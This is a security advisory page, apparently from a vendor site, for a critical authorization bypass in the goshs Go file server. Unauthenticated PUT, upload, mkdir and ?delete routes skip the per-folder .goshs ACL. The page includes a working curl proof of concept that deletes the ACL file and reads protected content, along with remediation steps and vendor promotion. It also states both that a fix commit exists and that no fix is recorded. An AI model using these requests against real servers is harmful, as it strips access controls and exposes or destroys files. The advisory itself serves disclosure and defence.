Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
CRITICAL severity

GHSA-wvhv-qcqf-f3cx goshs

CRITICALFix: patrickhener/goshs@f212c4f

GHSA-wvhv-qcqf-f3cx is a critical-severity (CVSS 9.8) CWE-862 vulnerability in github.com/patrickhener/goshs. No vendor fix is recorded yet; mitigation options are listed below.

goshs has a file-based ACL authorization bypass in goshs state-changing routes

Also known asCVE-2026-40189GO-2026-5728
Published
Apr 10, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-wvhv-qcqf-f3cx.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-wvhv-qcqf-f3cx plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/patrickhener/goshs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

goshs enforces the documented per-folder .goshs ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with PUT, upload files with multipart POST /upload, create directories with ?mkdir, and delete files with ?delete inside a .goshs-protected directory. By deleting the .goshs file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authorization bypass affecting confidentiality, integrity, and availability.

Details

The project README explicitly documents file-based ACLs as a security feature:

  • README.md:59 - "You can place a .goshs in any folder to apply custom ACLs"
  • README.md:61 - "You can apply custom basic auth per folder"

The read/list path correctly enforces .goshs:

  • httpserver/filebased.go:10-49 loads .goshs
  • httpserver/handler.go:68-91 calls findSpecialFile() for directories
  • httpserver/handler.go:94-101 calls findSpecialFile() for files
  • httpserver/handler.go:285-305 applies custom auth
  • httpserver/handler.go:545-565 enforces folder auth during directory rendering
  • httpserver/handler.go:590-630 enforces file auth and blocked entries during file serving

However, the state-changing routes bypass this logic entirely:

  • httpserver/server.go:94-100 routes multipart POST /.../upload directly to upload()
  • httpserver/server.go:105-109 routes PUT directly to put()
  • httpserver/handler.go:119-123 dispatches ?mkdir directly to handleMkdir()
  • httpserver/handler.go:181-187 dispatches ?delete directly to deleteFile()
  • httpserver/updown.go:18-60 writes files for PUT without checking .goshs
  • httpserver/updown.go:63-165 writes files for multipart upload without checking .goshs
  • httpserver/handler.go:679-698 deletes files with os.RemoveAll() without checking .goshs
  • httpserver/handler.go:901-937 creates directories with os.MkdirAll() without checking .goshs

This is not a path traversal issue. The path remains inside the configured root after sanitization. The vulnerability is that authorization is applied inconsistently: reads are protected, but writes and deletes are not. Because .goshs itself can be deleted through the unauthenticated delete route, the attacker can escalate the impact from unauthorized modification to full removal of the folder's auth barrier.

PoC

Environment used for verification:

  • Repository/module: github.com/patrickhener/goshs
  • Verified vulnerable tag: v2.0.0-beta.3
  • Also present in the v1.1.4 line based on code inspection
  • Local host: 127.0.0.1:18091

Build and setup:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta3'
go build -o /tmp/goshs_acl_verify/goshs ./

rm -rf /tmp/goshs_acl_verify/root
mkdir -p /tmp/goshs_acl_verify/root/protected
cp integration/keepFiles/goshsACLAuth /tmp/goshs_acl_verify/root/protected/.goshs
printf 'top secret\n' > /tmp/goshs_acl_verify/root/protected/secret.txt

/tmp/goshs_acl_verify/goshs -d /tmp/goshs_acl_verify/root -p 18091

In a second terminal:

# The protected folder initially requires auth
curl -s -o /dev/null -w '%{http_code}\n' 'http://127.0.0.1:18091/protected/'

# Unauthenticated write into the protected folder succeeds
curl -s -o /dev/null -w '%{http_code}\n' -X PUT \
  --data-binary 'injected via PUT' \
  'http://127.0.0.1:18091/protected/put-created.txt'

# Unauthenticated deletion of the ACL file succeeds
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/.goshs?delete'

# The previously protected file is now publicly accessible
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://127.0.0.1:18091/protected/secret.txt'
curl -s 'http://127.0.0.1:18091/protected/secret.txt'

Expected results:

401
200
200
200
top secret
<img width="1280" height="657" alt="goshs_poc1" src="https://github.com/user-attachments/assets/37576067-fa90-44f6-8fe5-dcb7c96b9704" />

Note: if using zsh, the URL containing ?delete must be quoted, or the shell will treat ? as a wildcard and the request will not be sent.

PoC Video for reference:

https://github.com/user-attachments/assets/deb9106e-6dfa-47c0-95c1-993c2cbc9ee7

Impact

This is an authorization bypass affecting deployments that rely on .goshs for per-folder protection. A remote unauthenticated attacker can:

  • create or overwrite files inside a folder that should require authentication
  • create directories inside the protected folder
  • delete arbitrary files reachable through the vulnerable route inside that protected folder
  • delete the .goshs policy file itself
  • read previously protected files once the policy file has been removed

In practice, this breaks the security boundary promised by the file-based ACL feature and can expose sensitive files while also allowing unauthorized modification or destruction of protected content.

Remediation

  1. Enforce .goshs authorization checks for all state-changing operations, not just read/list flows. Before PUT, multipart upload, delete, and mkdir, resolve the effective folder ACL and deny the request unless the caller satisfies acl.Auth.
  2. Protect .goshs as a special file in mutation handlers. The application already prevents serving .goshs; it should also reject deletion, overwrite, or replacement of .goshs through HTTP routes unless the request is properly authorized.
  3. Add regression tests covering protected folders for every mutation path. The test suite should verify that PUT, POST /upload, ?delete, and ?mkdir all fail without valid credentials when a .goshs file is present.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/patrickhener/goshsall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/patrickhener/goshs has shipped for GHSA-wvhv-qcqf-f3cx yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-wvhv-qcqf-f3cx can be triaged on real exposure rather than presence alone.

Tailored to GHSA-wvhv-qcqf-f3cx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary goshs enforces the documented per-folder `.goshs` ACL/basic-auth mechanism for directory listings and file reads, but it does not enforce the same authorization checks for state-changing routes. An unauthenticated attacker can upload files with `PUT`, upload files with multipart `POST /upload`, create directories with `?mkdir`, and delete files with `?delete` inside a `.goshs`-protected directory. By deleting the `.goshs` file itself, the attacker can remove the folder's auth policy and then access previously protected content without credentials. This results in a critical authori
O3 Security · Impact-Aware SCA

Is GHSA-wvhv-qcqf-f3cx in your dependencies?

O3 Security finds GHSA-wvhv-qcqf-f3cx across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-wvhv-qcqf-f3cx: goshs (Critical 9.8) | O3 Security